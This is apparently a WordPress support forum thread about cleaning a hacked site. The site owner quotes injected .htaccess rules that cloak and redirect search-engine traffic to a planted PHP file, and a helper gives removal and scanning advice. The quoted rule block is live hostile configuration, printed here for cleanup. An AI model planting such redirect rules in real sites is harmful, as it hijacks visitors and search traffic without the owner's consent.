Was my site hacked?

Yes. See https://sitecheck.sucuri.net/results/www.generatorsforhomeuse.us/connect-generator-to-home/

Get a fresh cup of coffee, take a deep breath and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are a couple.

Hi, Steven,
Thank you. Before I go over all the suggestions, I found this code in my htaccess. Is it supposed to be there?

RewriteEngine On

RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteCond %{HTTP_HOST} generatorsforhomeuse\.us$
RewriteRule . blundered-cochineal.php [L,S=10000]

That’s part of the hack, so make a note to remove .htaccess and regenerate it as part of the cleaning. Make sure you also find and delete “blundered-cochineal.php”

Steven,
Will WP auto generate a new ‘htaccess if I just delete it?

Go to settings> perms links and click save.

Steven,
htaccess restore and blundered-cochineal.php deleting removed the malware. I now also installed wordfence. Thank you for the help.

If that’s all you did, the malware is probably not gone.

If that’s all you did, the malware is probably not gone.

Sitecheck shows clean and it no longer redirects. I also found a virus in my PC and had it removed

• This reply was modified 3 years, 11 months ago by lzr0.

Did you do a full “scan everything” scan with WordFence?

Did you do a full “scan everything” scan with WordFence?

Now when said it, I run Hi sensitivity scan, and it did find a bunch of suspicious php files, which I deleted.